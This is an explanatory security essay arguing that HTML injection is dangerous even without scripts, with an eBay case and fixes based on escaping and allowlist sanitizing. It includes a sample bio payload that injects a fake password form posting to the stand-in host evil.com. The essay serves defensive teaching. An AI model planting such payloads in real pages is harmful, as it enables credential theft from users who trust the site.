On HTML Injection

HTML injection is usually treated as the less serious sibling of XSS.

No JavaScript. No document.cookie flying out to a remote server. No eval. Just some rogue markup sitting in a field that should have been plain text. Security teams sometimes mark it low severity. Bug bounty platforms downgrade it. The word "injection" sounds alarming, but without script execution, people assume the worst has been avoided.

I think that assumption is wrong in a specific and important way.

The Framing Problem

The reason XSS feels dangerous is that it executes code. Attackers can read cookies, redirect users, make requests, log keystrokes — anything a script can do in a browser.

HTML injection cannot do any of that. No script means no execution.

But here is the thing: you do not need script execution to deceive someone.

What you need is control over what they see inside a context they trust.

That is exactly what HTML injection gives an attacker. They cannot run code in your browser. But they can add a form. They can add a heading that says "Your session has expired — please confirm your password." They can add a button that POSTs to their server. They can rearrange page structure in ways that look completely native to the site.

The browser's trust model is based on origin. The URL bar says yourbank.com. That is what the user reads. Everything that appears within that frame inherits that trust. HTML injection lets an attacker furnish that frame however they like.

A Concrete Example

Imagine a platform that renders user bios with innerHTML but strips <script> tags. The developer thinks this is safe because there is no script execution path.

An attacker writes this as their bio:

</div>
<form action="https://evil.com/harvest" method="POST">
  <p>Your session has expired. Please confirm your password to continue.</p>
  <input type="password" name="pw" placeholder="Password">
  <button type="submit">Confirm identity</button>
</form>
<div style="display:none">

Step one: they save it and walk away. Their job is done.

Step two: the server stores the bio as-is. No escaping. That payload sits in the database like any other profile row.

Step three: any user who visits that profile sees a form that looks like it belongs to the page. Same fonts, same colors, nested inside the same layout. The URL bar still shows the legitimate domain. There is no phishing warning. No suspicious redirect. No unusual behavior.

Step four: the visitor types their password and hits confirm. The browser POSTs to evil.com. No JavaScript involved — the attacker now has their password.

How HTML injection harvests credentials without JavaScriptFour-step flow: attacker posts HTML form payload, server stores it, visitor's browser renders injected form on trusted page, victim submits credentials to attackerstep 1 — attacker posts the HTML payload onceAttackerposts bio<form action="evil.com" method="POST"> <input type="password" name="pw">Server + DBstores raw, no escapestep 2 — any visitor who views the page sees a form that looks realAny visitorviews profileServerfetches from DBHTML + injected formBrowserrenders as HTMLstep 3 — victim trusts the domain and submits. no script fires.Victimtypes password"Session expired. Confirm identity:" ●●●●●●●● → [Submit]evil.comreceives POSTstep 4 — attacker has the password. zero javascript involved.pw=hunter2&submit=Confirm+identity(victim's password — sent via a plain HTML form POST, no script needed)Attackerhas the passwordWhy this works without JavaScript:The browser POSTs a form because that is what HTML forms do. No script needed. No CSP violation.The attacker just had to put a form in the right place on a page the victim already trusted.

A Real Incident: eBay Product Listings

This is not a theoretical attack path. It has recurred on real platforms.

eBay allows HTML in product listing descriptions so sellers can add formatting — bold text, bullet points, embedded images. That is a reasonable product decision. But the same mechanism that allows formatting allows structure.

Security researchers found repeatedly that eBay product descriptions could be used to inject forms and overlays that appeared to be part of the eBay interface. A listing page would look normal from search results, live on a legitimate eBay URL, and yet contain injected HTML that overlaid a fake "Pay Securely" button. Clicking it would not go to eBay's payment processor. It would go to an external server collecting payment details directly.

Visitors who arrived through a real eBay search, on a real eBay domain, had no obvious signal that anything was wrong. The URL was right. The page looked right. The injected element was dressed to match the surrounding interface.

The issue recurred across multiple years because eBay's approach was to block specific dangerous tags. Block <script>. Block <iframe>. Each fix addressed a vector, but the root cause remained: seller-controlled content was still being rendered as HTML. Another allowed tag, another allowed attribute, another variation would surface.

Blocking tags is a blocklist. It fails open — anything not on the list is permitted. The fix was not a longer blocklist. It was to stop rendering listing descriptions as HTML.

Why "No Scripts" Does Not Mean "No Harm"

The assumption that HTML injection is harmless without JavaScript has a specific flaw: it conflates code execution with deception.

JavaScript can run code. HTML controls what the user sees. Both can be dangerous, just in different ways.

A form with action="https://evil.com" is standard HTML. The browser handles it exactly as designed. No security policy blocks it by default. Content Security Policy governs script execution and resource loading — it does not prevent a form from POSTing wherever the form says. The browser will faithfully send the user's input to whatever URL the attacker specified.

Beyond credential harvesting, HTML injection can:

  • Overlay fake error messages: "Your account has been suspended. Click here to verify."
  • Inject navigation elements that link off-site while looking like internal links
  • Insert hidden elements that load third-party content
  • Manipulate layout so legitimate UI is obscured by attacker-controlled UI

None of these require JavaScript. The HTML structure itself is the weapon.

The Fix Is the Same

The fix for HTML injection is the same as the fix for XSS: do not hand untrusted input to an HTML parser.

If the field is meant to be plain text, render it as text:

element.textContent = userInput

If the product genuinely needs rich text — bold, italic, links — the answer is not to allow arbitrary HTML. The answer is to define an explicit allowlist of safe elements and attributes, and run input through a sanitizer that enforces it. DOMPurify is the standard choice for this in the browser.

The key distinction is blocklist versus allowlist.

"Strip <script> and event handlers" is a blocklist. It fails when a new attack vector appears that the blocklist did not anticipate. "Allow only <b>, <i>, <a href>, <ul>, <li>" is an allowlist. It fails closed — unknown tags are rejected rather than permitted.

The eBay pattern is the blocklist pattern. It failed on a loop.

The Relationship to XSS

HTML injection and XSS are not two separate vulnerabilities. They are points on a spectrum.

A form injected without JavaScript is HTML injection. The same form with an onerror handler on an image inside it is XSS. An attacker who finds HTML injection will often probe further: which attributes does the sanitizer permit? Which elements? Is there one that accepts an event handler the filter missed?

This is why dismissing HTML injection as low severity can be shortsighted. HTML injection is evidence that user input reaches an HTML context unescaped. XSS is what happens when the attacker finds one more gap in whatever partial filter is in place.

The real fix — rendering untrusted input as text, or sanitizing to a strict allowlist — closes both.

The Trust Is in the Domain

What makes HTML injection counterintuitive is that the danger is not about what runs. It is about what appears.

Users have learned to check the URL bar. They look for the padlock. They look for the right domain name. What they have not learned to distrust is the layout of a page they navigated to legitimately.

When a form appears on a site they know, in the same font and color as that site, asking for something plausible — many will answer it.

HTML injection gives an attacker the ability to author that form. The browser renders it faithfully. The user trusts the domain. The attacker does not need JavaScript for any of that.

That is the thing "no scripts" misses. The risk was never only about execution. It was about impersonation.